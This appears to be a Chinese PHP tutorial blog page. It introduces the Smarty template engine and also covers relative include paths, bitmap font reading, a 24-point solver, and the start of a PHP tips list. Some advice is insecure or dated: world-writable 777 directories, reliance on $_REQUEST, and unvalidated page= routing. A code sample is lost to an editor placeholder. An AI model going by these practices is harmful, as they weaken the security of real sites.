Smarty介绍
什么是模版引擎
模版引擎的目的,就是要达到上述提到的逻辑分离的功能。它能让程序开发者专注于资料的控制或是功能的达成;而视觉设计师则可专注于网页排版,让网页看起来更具有专业感!因此模版引擎很适合公司的网站开发团队使用,使每个人都能发挥其专长!
就笔者接触过的模版引擎来说,依资料呈现方式大概分成:需搭配程序处理的模版引擎和完全由模版本身自行决定的模版引擎两种形式。
在需搭配程序处理的模版引擎中,程序开发者必须要负责变量的呈现逻辑,也就是说他必须把变量的内容在输出到模版前先处理好,才能做 assign 的工作。换句话说,程序开发者还是得多写一些程序来决定变量呈现的风貌。而完全由模版本身自行决定的模版引擎,它允许变量直接 assign 到模版中,让视觉设计师在设计模版时再决定变量要如何呈现。因此它就可能会有另一套属于自己的模版程序语法 (如 Smarty) ,以方便控制变量的呈现。但这样一来,视觉设计师也得学习如何使用模版语言。
模版引擎的运作原理,首先我们先看看以下的运行图:
一般的模版引擎 (如 PHPLib) 都是在建立模版对象时取得要解析的模版,然后把变量套入后,透过 parse() 这个方法来解析模版,最后再将网页输出。
对 Smarty 的使用者来说,程序里也不需要做任何 parse 的动作了,这些 Smarty 自动会帮我们做。而且已经编译过的网页,如果模版没有变动的话, Smarty 就自动跳过编译的动作,直接执行编译过的网页,以节省编译的时间。
使用Smarty的一些概念
在一般模版引擎中,我们常看到区域的观念,所谓区块大概都会长成这样:
<!– START : Block name –>
区域内容
<!– END : Block name –>
这些区块大部份都会在 PHP 程序中以 if 或 for, while 来控制它们的显示状态,虽然模版看起来简洁多了,但只要一换了显示方式不同的模版, PHP 程序势必要再改一次!
在 Smarty 中,一切以变量为主,所有的呈现逻辑都让模版自行控制。因为 Smarty 会有自己的模版语言,所以不管是区块是否要显示还是要重复,都是用 Smarty 的模版语法 (if, foreach, section) 搭配变量内容作呈现。这样一来感觉上好象模版变得有点复杂,但好处是只要规划得当, PHP 程序一行都不必改。
由上面的说明,我们可以知道使用Smarty 要掌握一个原则:将程序应用逻辑与网页呈现逻辑明确地分离。就是说 PHP 程序里不要有太多的 HTML 码。程序中只要决定好那些变量要塞到模版里,让模版自己决定该如何呈现这些变量 (甚至不出现也行) 。
Smarty的基础
安装Smarty
首先,我们先决定程序放置的位置。
Windows下可能会类似这样的位置:「 d:\appserv\web\demo\ 」。
Linux下可能会类似这样的位置:「 /home/jaceju/public_html/ 」。
到Smarty的官方网站下载最新的Smarty套件:http://smarty.php.net。
解开 Smarty 2.6.0 后,会看到很多档案,其中有个 libs 资料夹。在 libs 中应该会有 3 个 class.php 檔 + 1 个 debug.tpl + 1 个 plugin 资料夹 + 1 个 core 资料夹。然后直接将 libs 复制到您的程序主资料夹下,再更名为 class 就可以了。就这样?没错!这种安装法比较简单,适合一般没有自己主机的使用者。
至于 Smarty 官方手册中为什么要介绍一些比较复杂的安装方式呢?基本上依照官方的方式安装,可以只在主机安装一次,然后提供给该主机下所有设计者开发不同程序时直接引用,而不会重复安装太多的 Smarty 复本。而笔者所提供的方式则是适合要把程序带过来移过去的程序开发者使用,这样不用烦恼主机有没有安装 Smarty 。
程序的资料夹设定
以笔者在Windows安装Appserv为例,程序的主资料夹是「d:\appserv\web\demo\」。安装好Smarty后,我们在主资料夹下再建立这样的资料夹:
在 Linux 底下,请记得将 templates_c 的权限变更为 777 。Windows 下则将其只读取消。
第一个用Smarty写的小程序
我们先设定 Smarty 的路径,请将以下这个档案命名为 main.php ,并放置到主资料夹下:
main.php:
<?php
include “class/Smarty.class.php”;
define(‘__SITE_ROOT’, ‘d:/appserv/web/demo’); // 最后没有斜线
$tpl = new Smarty();
$tpl->template_dir = __SITE_ROOT . “/templates/”;
$tpl->compile_dir = __SITE_ROOT . “/templates_c/”;
$tpl->config_dir = __SITE_ROOT . “/configs/”;
$tpl->cache_dir = __SITE_ROOT . “/cache/”;
$tpl->left_delimiter = ‘<{‘;
$tpl->right_delimiter = ‘}>’;
?>
照上面方式设定的用意在于,程序如果要移植到其它地方,只要改 __SITE_ROOT 就可以啦。 (这里是参考 XOOPS 的 )
Smarty 的模版路径设定好后,程序会依照这个路径来抓所有模版的相对位置 (范例中是 ‘d:/appserv/web/demo/templates/’ ) 。然后我们用 display() 这个 Smarty 方法来显示我们的模版。
接下来我们在 templates 资料夹下放置一个 test.htm:(扩展名叫什么都无所谓,但便于视觉设计师开发,笔者都还是以 .htm 为主。)
templates/test.htm:
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=big5″>
<title><{$title}></title>
</head>
<body>
<{$content}>
</body>
</html>
现在我们要将上面的模版显示出来,并将网页标题 ($title) 与内容 ($content) 更换,请将以下档案内容命名为 test.php ,并放置在主资料夹下:
test.php:
<?php
require “main.php”;
$tpl->assign(“title”, “测试用的网页标题”);
$tpl->assign(“content”, “测试用的网页内容”);
// 上面两行也可以用这行代替
// $tpl->assign(array(“title” => “测试用的网页标题”, “content” => “测试用的网页内容”));
$tpl->display(‘test.htm’);
?>
请打开浏览器,输入 http://localhost/demo/test.php 试试看(依您的环境决定网址),应该会看到以下的画面:
再到 templates_c 底下,我们会看到一个奇怪的资料夹 (%%179) ,再点选下去也是一个奇怪的资料夹 (%%1798044067) ,而其中有一个档案:
templates_c/%%179/%%1798044067/test.htm.php:
<?php /* Smarty version 2.6.0, created on 2003-12-15 22:19:45 compiled from test.htm */ ?>
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=big5″>
<title><?php echo $this->_tpl_vars['title']; ?></title>
</head>
<body>
<?php echo $this->_tpl_vars['content']; ?>
</body>
</html>
没错,这就是 Smarty 编译过的档案。它将我们在模版中的变量转换成了 PHP 的语法来执行,下次再读取同样的内容时, Smarty 就会直接抓取这个档案来执行了。
最后我们整理一下整个 Smarty 程序撰写步骤:
Step 1. 加载 Smarty 模版引擎。
Step 2. 建立 Smarty 对象。
Step 3. 设定 Smarty 对象的参数。
Step 4. 在程序中处理变量后,再用 Smarty 的 assign 方法将变量置入模版里。
Step 5. 利用 Smarty 的 display 方法将网页秀出。
如何安排你的程序架构
上面我们看到除了 Smarty 所需要的资料夹外 (class 、 configs 、 templates 、 templates_c) ,还有两个资料夹: includes 、 modules 。其实这是笔者模仿 XOOPS 的架构所建立出来的,因为 XOOPS 是笔者所接触到的程序中,少数使用 Smarty 模版引擎的架站程序。所谓西瓜偎大边,笔者这样的程序架构虽没有 XOOPS 的百分之一强,但至少给人看时还有 XOOPS 撑腰。
includes 这个资料夹主要是用来放置一些 function 、 sql 檔,这样在 main.php 就可以将它们引入了,如下:
main.php:
<?php
include “class/Smarty.class.php”;
define(‘__SITE_ROOT’, ‘d:/appserv/web/demo’); // 最后没有斜线
// 以 main.php 的位置为基准
require_once “includes/functions.php”;
require_once “includes/include.php”;
$tpl = new Smarty();
$tpl->template_dir = __SITE_ROOT . “/templates/”;
$tpl->compile_dir = __SITE_ROOT . “/templates_c/”;
$tpl->config_dir = __SITE_ROOT . “/configs/”;
$tpl->cache_dir = __SITE_ROOT . “/cache/”;
$tpl->left_delimiter = ‘<{‘;
$tpl->right_delimiter = ‘}>’;
?>
modules 这个资料夹则是用来放置程序模块的,如此一来便不会把程序丢得到处都是,整体架构一目了然。
上面我们也提到 main.php ,这是整个程序的主要核心,不论是常数定义、外部程序加载、共享变量建立等,都是在这里开始的。所以之后的模块都只要将这个档案包含进来就可以啦。因此在程序流程规划期间,就必须好好构思 main.php 中应该要放那些东西;当然利用 include 或 require 指令,把每个环节清楚分离是再好不过了。
在上节提到的 Smarty 程序 5 步骤, main.php 就会帮我们先将前 3 个步骤做好,后面的模块程序只要做后面两个步骤就可以了。
从变量开始
如何使用变量
从上一章范例中,我们可以清楚地看到我们利用 <{ 及 }> 这两个标示符号将变量包起来。预设的标示符号为 { 及 } ,但为了中文冲码及 Javascript 的关系,因此笔者还是模仿 XOOPS ,将标示符号换掉。变量的命名方式和 PHP 的变量命名方式是一模一样的,前面也有个 $ 字号 (这和一般的模版引擎不同)。标示符号就有点像是 PHP 中的 <?php 及 ?> (事实上它们的确会被替换成这个) ,所以以下的模版变量写法都是可行的:
1. <{$var}>
2. <{ $var }> <!– 和变量之间有空格 –>
3. <{$var
}> <!– 启始的标示符号和结束的标示符号不在同一行 –>
在 Smarty 里,变量预设是全域的,也就是说你只要指定一次就好了。指定两次以上的话,变量内容会以最后指定的为主。就算我们在主模版中加载了外部的子模版,子模版中同样的变量一样也会被替代,这样我们就不用再针对子模版再做一次解析的动作。
而在 PHP 程序中,我们用 Smarty 的 assign 来将变量置放到模版中。 assign 的用法官方手册中已经写得很多了,用法就如同上一节的范例所示。不过在重复区块时,我们就必须将变量做一些手脚后,才能将变量 assign 到模版中,这在下一章再提。
修饰你的变量
上面我们提到 Smarty 变量呈现的风貌是由模版自行决定的,所以 Smarty 提供了许多修饰变量的函式。使用的方法如下:
<{变量|修饰函式}> <!– 当修饰函式没有参数时 –>
<{变量|修饰函式:”参数(非必要,视函式而定)”}> <!– 当修饰函式有参数时 –>
范例如下:
<{$var|nl2br}> <!– 将变量中的换行字符换成 <br /> –>
<{$var|string_format:”%02d”}> <!– 将变量格式化 –>
好,那为什么要让模版自行决定变量呈现的风貌?先看看底下的 HTML ,这是某个购物车结帐的部份画面。
<input name=”total” type=”hidden” value=”21000″ />
总金额:21,000 元
一般模版引擎的模版可能会这样写:
<input name=”total” type=”hidden” value=”{total}” />
总金额:{format_total} 元
它们的 PHP 程序中要这样写:
<?php
$total = 21000;
$tpl->assign(“total”, $total);
$tpl->assign(“format_total”, number_format($total));
?>
而 Smarty 的模版就可以这样写: (number_format 修饰函式请到Smarty 官方网页下载)
<input name=”total” type=”hidden” value=”<{$total}>” />
总金额:<{$total|number_format:”"}> 元
Smarty 的 PHP 程序中只要这样写:
<?php
$total = 21000;
$tpl->assign(“total”, $total);
?>
所以在 Smarty 中我们只要指定一次变量,剩下的交给模版自行决定即可。这样了解了吗?这就是让模版自行决定变量呈现风貌的好处!
控制模版的内容
重复的区块
在 Smarty 样板中,我们要重复一个区块有两种方式: foreach 及 section 。而在程序中我们则要 assign 一个数组,这个数组中可以包含数组数组。就像下面这个例子:
首先我们来看 PHP 程序是如何写的:
test2.php:
<?php
require “main.php”;
$array1 = array(1 => “苹果”, 2 => “菠萝”, 3 => “香蕉”, 4 => “芭乐”);
$tpl->assign(“array1″, $array1);
$array2 = array(
array(“index1″ => “data1-1″, “index2″ => “data1-2″, “index3″ => “data1-3″),
array(“index1″ => “data2-1″, “index2″ => “data2-2″, “index3″ => “data2-3″),
array(“index1″ => “data3-1″, “index2″ => “data3-2″, “index3″ => “data3-3″),
array(“index1″ => “data4-1″, “index2″ => “data4-2″, “index3″ => “data4-3″),
array(“index1″ => “data5-1″, “index2″ => “data5-2″, “index3″ => “data5-3″));
$tpl->assign(“array2″, $array2);
$tpl->display(“test2.htm”);
?>
而模版的写法如下:
templates/test2.htm:
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=big5″>
<title>测试重复区块</title>
</head>
<body>
<pre>
利用 foreach 来呈现 array1
<{foreach item=item1 from=$array1}>
<{$item1}>
<{/foreach}>
利用 section 来呈现 array1
<{section name=sec1 loop=$array1}>
<{$array1[sec1]}>
<{/section}>
利用 foreach 来呈现 array2
<{foreach item=index2 from=$array2}>
<{foreach key=key2 item=item2 from=$index2}>
<{$key2}>: <{$item2}>
<{/foreach}>
<{/foreach}>
利用 section 来呈现 array1
<{section name=sec2 loop=$array2}>
index1: <{$array2[sec2].index1}>
index2: <{$array2[sec2].index2}>
index3: <{$array2[sec2].index3}>
<{/section}>
</pre>
</body>
</html>
执行上例后,我们发现不管是 foreach 或 section 两个执行结果是一样的。那么两者到底有何不同呢?
第一个差别很明显,就是foreach 要以巢状处理的方式来呈现我们所 assign 的两层数组变量,而 section 则以「主数组[循环名称].子数组索引」即可将整个数组呈现出来。由此可知, Smarty 在模版中的 foreach 和 PHP 中的 foreach 是一样的;而 section 则是 Smarty 为了处理如上列的数组变量所发展出来的叙述。当然 section 的功能还不只如此,除了下一节所谈到的巢状资料呈现外,官方手册中也提供了好几个 section 的应用范例。
不过要注意的是,丢给 section 的数组索引必须是从 0 开始的正整数,即 0, 1, 2, 3, …。如果您的数组索引不是从 0 开始的正整数,那么就得改用 foreach 来呈现您的资料。您可以参考官方讨论区中的此篇讨论,其中探讨了 section 和 foreach 的用法。
巢状资料的呈现
模版引擎里最令人伤脑筋的大概就是巢状资料的呈现吧,许多著名的模版引擎都会特意强调这点,不过这对 Smarty 来说却是小儿科。
最常见到的巢状资料,就算论譠程序中的讨论主题区吧。假设要呈现的结果如下:
公告区
站务公告
文学专区
好书介绍
奇文共赏
计算机专区
硬件外围
软件讨论
程序中我们先以静态资料为例:
test3.php:
<?php
require “main.php”;
$forum = array(
array(“category_id” => 1, “category_name” => “公告区”,
”topic” => array(
array(“topic_id” => 1, “topic_name” => “站务公告”)
)
),
array(“category_id” => 2, “category_name” => “文学专区”,
”topic” => array(
array(“topic_id” => 2, “topic_name” => “好书介绍”),
array(“topic_id” => 3, “topic_name” => “奇文共赏”)
)
),
array(“category_id” => 3, “category_name” => “计算机专区”,
”topic” => array(
array(“topic_id” => 4, “topic_name” => “硬件外围”),
array(“topic_id” => 5, “topic_name” => “软件讨论”)
)
)
);
$tpl->assign(“forum”, $forum);
$tpl->display(“test3.htm”);
?>
模版的写法如下:
templates/test3.htm:
<html>
<head>
<title>巢状循环测试</title>
</head>
<body>
<table width=”200″ border=”0″ align=”center” cellpadding=”3″ cellspacing=”0″>
<{section name=sec1 loop=$forum}>
<tr>
<td colspan=”2″><{$forum[sec1].category_name}></td>
</tr>
<{section name=sec2 loop=$forum[sec1].topic}>
<tr>
<td width=”25″> </td>
<td width=”164″><{$forum[sec1].topic[sec2].topic_name}></td>
</tr>
<{/section}>
<{/section}>
</table>
</body>
</html>
执行的结果就像笔者举的例子一样。
因此呢,在程序中我们只要想办法把所要重复值一层一层的塞到数组中,再利用 <{第一层数组[循环1].第二层数组[循环2].第三层数组[循环3]. … .数组索引}> 这样的方式来显示每一个巢状循环中的值。至于用什么方法呢?下一节使用数据库时我们再提。
转换数据库中的资料
上面提到如何显示巢状循环,而实际上应用时我们的资料可能是从数据库中抓取出来的,所以我们就得想办法把数据库的资料变成上述的多重数组的形式。这里笔者用一个 DB 类别来抓取数据库中的资料,您可以自行用您喜欢的方法。
我们只修改 PHP 程序,模版还是上面那个 (这就是模版引擎的好处~),其中 $db 这个对象假设已经在 main.php 中建立好了,而且抓出来的资料就是上面的例子。
test3.php:
<?php
require “main.php”;
// 先建立第一层数组
$category = array();
$db->setSQL($SQL1, ‘CATEGORY’);
if (!$db->query(‘CATEGORY’)) die($db->error());
// 抓取第一层循环的资料
while ($item_category = $db->fetchAssoc(‘CATEGORY’))
{
// 建立第二层数组
$topic = array();
$db->setSQL(sprintf($SQL2, $item_category['category_id']), ‘TOPIC’);
if (!$db->query(‘TOPIC’)) die($db->error());
// 抓取第二层循环的资料
while ($item_topic = $db->fetchAssoc(‘TOPIC’))
{
// 把抓取的数据推入第二层数组中
array_push($topic, $item_topic);
}
// 把第二层数组指定为第一层数组所抓取的数据中的一个成员
$item_category['topic'] = $topic;
// 把第一层数据推入第一层数组中
array_push($category, $item_category);
}
$tpl->assign(“forum”, $category);
$tpl->display(“test3.htm”);
?>
在数据库抓取一笔资料后,我们得到的是一个包含该笔数据的数组。透过 while 叙述及 array_push 函式,我们将数据库中的资料一笔一笔塞到数组里。如果您只用到单层循环,就把第二层循环 (红色的部份) 去掉即可。
决定内容是否显示
要决定是否显示内容,我们可以使用 if 这个语法来做选择。例如如果使用者已经登入的话,我们的模版就可以这样写:
<{if $is_login == true}>
显示使用者操作选单
<{else}>
显示输入帐号和密码的窗体
<{/if}>
要注意的是,「==」号两边一定要各留至少一个空格符,否则 Smarty 会无法解析。
if 语法一般的应用可以参照官方使用说明,所以笔者在这里就不详加介绍了。不过笔者发现了一个有趣的应用:常常会看到程序里要产生这样的一个表格: (数字代表的是资料集的顺序)
1 2
3 4
5 6
7 8
这个笔者称之为「横向重复表格」。它的特色和传统的纵向重复不同,前几节我们看到的重复表格都是从上而下,一列只有一笔资料。而横向重复表格则可以横向地在一列中产生 n 笔资料后,再换下一列,直到整个循环结束。要达到这样的功能,最简单的方式只需要 section 和 if 搭配即可。
我们来看看下面这个例子:
test4.php:
<?php
require “main.php”;
$my_array = array(
array(“value” => “0″),
array(“value” => “1″),
array(“value” => “2″),
array(“value” => “3″),
array(“value” => “4″),
array(“value” => “5″),
array(“value” => “6″),
array(“value” => “7″),
array(“value” => “8″),
array(“value” => “9″));
$tpl->assign(“my_array”, $my_array);
$tpl->display(‘test4.htm’);
?>
模版的写法如下:
templates/test4.htm:
<html>
<head>
<title>横向重复表格测试</title>
</head>
<body>
<table width=”500″ border=”1″ cellspacing=”0″ cellpadding=”3″>
<tr>
<{section name=sec1 loop=$my_array}>
<td><{$my_array[sec1].value}></td>
<{if $smarty.section.sec1.rownum is div by 2}>
</tr>
<tr>
<{/if}>
<{/section}>
</tr>
</table>
</body>
</html>
重点在于 $smarty.section.sec1.rownum 这个 Smarty 变量,在 section 循环中这个变量会取得从 1 开始的索引值,所以当 rownum 能被 2 除尽时,就输出 </tr><tr> 使表格换列 (注意!是 </tr> 在前面<tr> 在后面) 。因此数字 2 就是我们在一列中想要呈现的资料笔数。各位可以由此去变化其它不同的呈现方式。
加载外部内容
我们可以在模版内加载 PHP 程序代码或是另一个子模版,分别是使用 include_php 及 include 这两个 Smarty 模版语法; include_php 笔者较少用,使用方式可以查询官方手册,这里不再叙述。
在使用 include 时,我们可以预先加载子模版,或是动态加载子模版。预先加载通常使用在有共同的文件标头及版权宣告;而动态加载则可以用在统一的框架页,而进一步达到如 Winamp 般可换 Skin 。当然这两种我们也可以混用,视状况而定。
我们来看看下面这个例子:
test5.php:
<?php
require “main.php”;
$tpl->assign(“title”, “Include 测试”);
$tpl->assign(“content”, “这是模版 2 中的变量”);
$tpl->assign(“dyn_page”, “test5_3.htm”);
$tpl->display(‘test5_1.htm’);
?>
模版 1 的写法如下:
templates/test5_1.htm:
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=big5″>
<title><{$title}></title>
</head>
<body>
<{include file=”test5_2.htm”}><br />
<{include file=$dyn_page}>
<{include file=”test5_4.htm” custom_var=”自订变量的内容”}>
</body>
</html>
模版 2 的写法如下:
templates/test5_2.htm:
<{$content}>
模版 3 的写法如下:
templates/test5_3.htm:
这是模版 3 的内容
模版 4 的写法如下:
templates/test5_4.htm:
<{$custom_var}>
这里注意几个重点:1. 模版的位置都是以先前定义的 template_dir 为基准;2. 所有 include 进来的子模版中,其变量也会被解译。;3. include 中可以用「变量名称=变量内容」来指定引含进来的模版中所包含的变量,如同上面模版 4 的做法。
菜鸟学PHP之Smarty入门(组图)
作者: 如意 盒 | 发布时间: 星期天, 08/08/2010 - 23:30php绝对路径与相对路径之间关系的的深入研究
作者: 如意 盒 | 发布时间: 星期五, 07/16/2010 - 08:33php中好像不能像asp那样用”/”表示根目录,代之以$_SERVER['DOCUMENT_ROOT'],其它则相同:../表示向上一层。./表示当前层。假如现在a/b/c/s.php要调用根目录下的 /bb/s2.txt,则:
| $RootDir = $_SERVER['DOCUMENT_ROOT']; $fireDir = “$RootDir/bb/s2.txt”; |
或者:”../../../bb/s2.txt”表示向上返回到b再向上到a再向上到根目录然后到bb下。
前一阵子老是受php开发中,文件互相引入require()相对位置关系的困扰,为了彻底弄清它们的关系,笔者做了个实验。
以下是实验图:
当前项目(project2)的绝对路径是:D:\www\php_case\Coucom_make。也就是我们当前项目的根目录root.
为了能更加清楚的表述不同级别的目录文件相互的引入问题,偶大胆将引用分成三种类型即:上级对下级的引用(简称上级引用,英文译为:superior to underling。简称(stou)).
下级对上级的引用(简称下级引用,英文反之便是)
平级引用或叫同级引用(英文:paratactic)。
好了,我们明确了引用类型,下面我们来看不同类型引用它们有着什么样的规则。
我们先来说说上级引用:
看我们的实验图,在图中项目下分别有aa bb ee 三个同级目录和一个index.php文件,在bb下又有cc目录,cc下又有dd目录和cc.php ccc.php两个文件,同样dd下也包含一个dd.php文件。凡是上层对下层均属上级引用.
| 例如:index.php对于所有文件的引用: cc .php对dd.php的引用: ee.php对dd.php的引用: |
大家仔细看一下目录结构,便会发现这三种引用虽然同属于上级引用,但它们又不完全相同,我把它分成两种情况:即在上级引用中存在两种引用情况:1.从属的上级引用(类如cc.php对dd.php,,因为这两个文件同属于cc目录)2.非从属的上级引用(类如index.php对于所有文件的引用和 ee.php对dd.php的引用都属于这种情况因为它们与被引用的文件并没有一个共同的父目录,在能相对于站点根目录).
对于从属上级引用:
以下是在cc.php对dd.php的引用
| require(‘dd/dd.php’); |
对于非从属上级引用:
以下是在ee.php中对cc.php的引用
| require(‘../bb/cc/cc.php’); |
以上所说的是上级引用,下面我们来了解一下下级引用!同理下层对上层的引用都属于下级引用,同样分成从属与非从属两类,从属下级引用相对路径以它们的父目录为根目录,例如:
Ttt.php对bbff.php的引用就属于这种情况:require(‘../bb/cc/cc.php’);
非从属的下级引用却是以网站的根目录为准的,例如:
ccc.php对ee.php的引用: require(‘../../ee/ee.php’);
以上是下级引用的介绍,最后我们来看一下平级引用或者叫同级引用,其实同级引用也是分为这两种情况:从属同级引与非从属同级引用
从属同级引用很简单:即在同一个目录下的两个文件的引用
例如:在dd.php中引用ttt.php require(‘ttt.php’);
非从属同级引用:即不在同一个目录下(没有共同的父目录,只有以网站目站为父目录的情况),但是级别是相同的两个文件的引用,例如: 在aa.php在引用ee.php require(‘../ee/ee.php’);
以上是三种类型不同情况下的引用,另外还有涉及到嵌套引用的问题
比如:
ff.php引用dd.php,而dd.php又引用的gf.php,这种情况,本来dd.php 引用gf.php属于下级引用中的非从属引用,写法是这样的:require(‘../../../ee/gf.php’);而ff.php引用 dd.php属于上级引用中的从属引用,写法是这样的:require(‘./cc/dd/dd.php’); 可是你会发现在ff.php中无法找到 gf.php文件,那该如何写呢?我告诉你应该在dd.php中这样写:require(‘../ee/gf.php’);只有这样写就正确了,为什么呢?因为在涉及到嵌套引用的时候被引用文件的相对路径要以最终的引用文件为准!
简而言之:
其实很简单的,你用你的web根目录做根目录.不管你怎么定,你文件肯定有一个全部都要包含的文件的,比如有的较global.php,有的较common.php
假如这个文件放再根目录
| wwwroot/global.php |
里面第一行你加个chdir(dirname(__FILE__)); //切换到global.php所在目录就是跟目录
其他文件使用
| require “../../../global.php”; require “aa/aa.php”; require “bb/bb/cc.php”; |
这样就行了,因为你的global.php已经把路径切换到wwwroot了,你不用像很多人那么麻烦
| define(‘ROOT_PATH’,dirname(__FILE__)); require ROOT_PATH….. |
chdir(dirname(__FILE__)); 的确很好使,相对位置引入这个文件其他引入文件只要以他为基准就好了。
用PHP编程读取汉字点阵数据_PHP技巧
作者: 如意 盒 | 发布时间: 星期五, 07/16/2010 - 08:31背景知识: 简体中文国标字库(1981年订,中国大陆)。7445个字符,其中汉字6773个,包括一级汉字3755个,二级汉字3008个。采用2字节(16位二进制)编码。 区位码:国标GB2312规定,所有的国标汉字与符号组成一个94×94的矩阵。在此方阵中,每一行称为一个”区”,每一列称为一个”位”,因此,这个方阵实际上组成了一个有94个区(区号分别为0 1到94)、每个区内有94个位(位号分别为01到94)的汉字字符集。一个汉字所在的区号和位号简单地组合在一起就构成了该汉字的”区位码”。在汉字的区位码中,高两位为区号,低两位为位号。由此可见,区位码与汉字或符号之间是一一对应的。 内码:汉字的内码是指在计算机中表示汉字的编码。机内码与区位码稍有区别。为什么不直接用区位码作为计算机内的编码呢? 这是因为汉字的区码和位码的范围都在1到94内, 如果直接用区位码作机内码, 就会与基本ASCII码冲突。 汉字的内码通常与所使用的计算机系统有关。目前,对于国内大多数的计算机系统,一个汉字的内码占两个字节,分别称为高位字节与低位字节,且这两位字节与区位码的关系如下: 内码高位=区码+A0H(H表示十六进制) 内码低位=位码+A0H 例如,汉字”啊”的区位码为”1601″,区码和位码分别用十六进制表示即为”1001H”,则它的内码为”B0A1H”。其中B0H为内码的高位字节,A1H为内码的低位字节。 php代码:返回由0和1组成的字符串。<?php/*** 读取汉字点阵数据** @author legend <legendsky@hotmail.com>* @link http://www.ugia.cn/?p=82* @Copyright www.ugia.cn*/$str = “中华人民共和国” ;$font_file_name = “simsun12.fon” ; // 点阵字库文件名$font_width = 12 ; // 单字宽度$font_height = 12 ; // 单字高度$start_offset = 0 ; // 偏移$fp = fopen ( $font_file_name , “rb” );$offset_size = $font_width * $font_height / 8 ;$string_size = $font_width * $font_height ;$dot_string = “” ;for ( $i = 0 ; $i < strlen ( $str ); $i ++){ if ( ord ( $str { $i }) > 160 ) { // 先求区位码,然后再计算其在区位码二维表中的位置,进而得出此字符在文件中的偏移 $offset = (( ord ( $str { $i }) – 0xa1 ) * 94 + ord ( $str { $i + 1 }) – 0xa1 ) * $offset_size ; $i ++; } else { $offset = ( ord ( $str { $i }) + 156 – 1 ) * $offset_size ; } // 读取其点阵数据 fseek ( $fp , $start_offset + $offset , SEEK_SET ); $bindot = fread ( $fp , $offset_size ); for ( $j = 0 ; $j < $offset_size ; $j ++) { // 将二进制点阵数据转化为字符串 $dot_string .= sprintf ( “%08b” , ord ( $bindot { $j })); }}fclose ( $fp );echo $dot_string ;?> 其中包括两个点阵字体文件:一个为16×16的chs16.fon,另一个为12×12的simsun12.fon,偏移均为零。
php计算24点游戏
作者: 如意 盒 | 发布时间: 星期五, 07/16/2010 - 08:30求: 三个5,一个1组成的数学表达式的结果=24, 结果:(5-1/5)*5=24
<?php
set_time_limit(0);
$values = array(1, 5, 5, 5);
$result = 24;
$list = array();
echo “<pre>”;
makeValue($values);
print_r($list);
function makeValue($values, $set=array())
{
$words = array(“+”, “-”, “*”, “/”);
if(sizeof($values)==1)
{
$set[] = array_shift($values);
return makeSpecial($set);
}
foreach($values as $key=>$value)
{
$tmpValues = $values;
unset($tmpValues[$key]);
foreach($words as $word)
{
makeValue($tmpValues, array_merge($set, array($value, $word)));
}
}
}
function makeSpecial($set)
{
$size = sizeof($set);
if($size<=3 || !in_array(“/”, $set) && !in_array(“*”, $set))
{
return makeResult($set);
}
for($len=3; $len<$size-1; $len+=2)
{
for($start=0; $start<$size-1; $start+=2)
{
if(!($set[$start-1]==”*” || $set[$start-1]==”/” || $set[$start+$len]==”*” || $set[$start+$len]==”/”))
continue;
$subSet = array_slice($set, $start, $len);
if(!in_array(“+”, $subSet) && !in_array(“-”, $subSet))
continue;
$tmpSet = $set;
array_splice($tmpSet, $start, $len-1);
$tmpSet[$start] = “(“.implode(“”, $subSet).”)”;
makeSpecial($tmpSet);
}
}
}
function makeResult($set)
{
global $result, $list;
$str = implode(“”, $set);
@eval(“\$num=$str;”);
if($num==$result && !in_array($str, $list))
$list[] = $str;
}
?>
PHP开发者事半功倍的十大技巧
作者: 如意 盒 | 发布时间: 星期五, 07/16/2010 - 08:06如果你使用一面大镜子作为冲浪板会发生什么?或许你会在较短的时间内征服海浪,但是你肯定从内心深处明白,这不是冲浪的正确选择。同样的道理也适用于PHP编程,尽管这样的类比听起来有一些古怪。我们经常听到有人试图用一个周末多点的时间来学会PHP,但是请恕我直言,这是学习这门编程语言的一种非常糟糕的方式。
-
为何说学习PHP的过程有别于任何其它语言?
就其本质而言,如果你掌握了以PHP语言”做事”的方式,那么在使用它时就会得心应手,因此值得你去投入精力去了解这些方式。在PHP中,单纯按照自己思路去解决问题往往会是一种错误的办法。这并不是因为你是一个糟糕的程序员,而是因为如果你想写出好的可维护性强的代码,有些标准技巧是你必须要使用的。下面让我们一起看一下你需要知道的10大技巧。
1、如何正确的创建一个网站的Index页面
创建每一个网站时,建立网站的index页面是首要做的事情之一。如果你是一个PHP新手,在编写index页面时典型的做法是只对index页面所需的内容进行编程,其它链接创建另一个页面。不过,如果想学习一种更高效的方式来实现PHP编程,可以采用”index.php?page=home”模式,许多网站都在采用这种模式。
2、使用Request Global Array抓取数据
实际上我们没有任何理由使用$_GET和$_POST数组来抓取数值。$_REQUEST这个全局数组能够让你获取一个get或form请求。因此,多数情况下解析数据的更高效代码大体如下:
___FCKpd___03、利用var_dump进行PHP代码调试
如果你在寻找php调试技术,我必须说var_dump应该是你要找的目标。在显示php信息方面这个命令可以满足你的所有需要。而调试代码的多数情况与得到PHP中的数值有关。
4、PHP处理代码逻辑,Smarty处理展现层
Smarty是一个使用PHP写出来的模板PHP模板引擎,是目前业界最著名的PHP模板引擎之一。它分离了逻辑代码和外在的内容,提供了一种易于管理和使用的方法,用来将原本与HTML代码混杂在一起PHP代码逻辑分离。简单的讲,目的就是要使PHP程序员同前端人员分离,使程序员改变程序的逻辑内容不会影响到前端人员的页面设计,前端人员重新修改页面不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要。
5、的确需要使用全局数值时,创建一个Config文件
动辄创建全局数值是一种糟糕的做法,不过有时候实际情况的确又需要这么做。对于数据库表或数据库连接信息使用全局数值是一个不错的想法,但不要在你的PHP代码中频繁使用全局数值。另外,更好的一种做法是把你的全局变量存放在一个config.php文件中。
6、如果未定义,禁止访问!
如果你正确的创建了页面,那么任何其他人没有理由访问index.php或home.php之外的index.php页面。一旦index.php被访问后,你可以通过获得变量的方式来打开需要的页面。你的index页面应该包含类似的以下代码:
- define( ‘yourPage’ ,1);
然后,其它页面应该包含:
- if (!defined( ‘yourPage’ )) die ( ‘Access Denied’ );
这么做的目的是防止直接访问你的其它php页面。这样,任何试图不通过index.php访问其它网页的人,将得到”访问被拒绝”的消息。
7、创建一个数据库类
如果你正在进行数据库编程(在PHP中非常常见的任务),一个不错的想法是创建一个数据库类来处理任何数据库管理功能。示例代码如下:
- public function dbExec( $query )
- {
- $result = $this ->db-> exec ( $query );
- if (PEAR::isError( $result ))
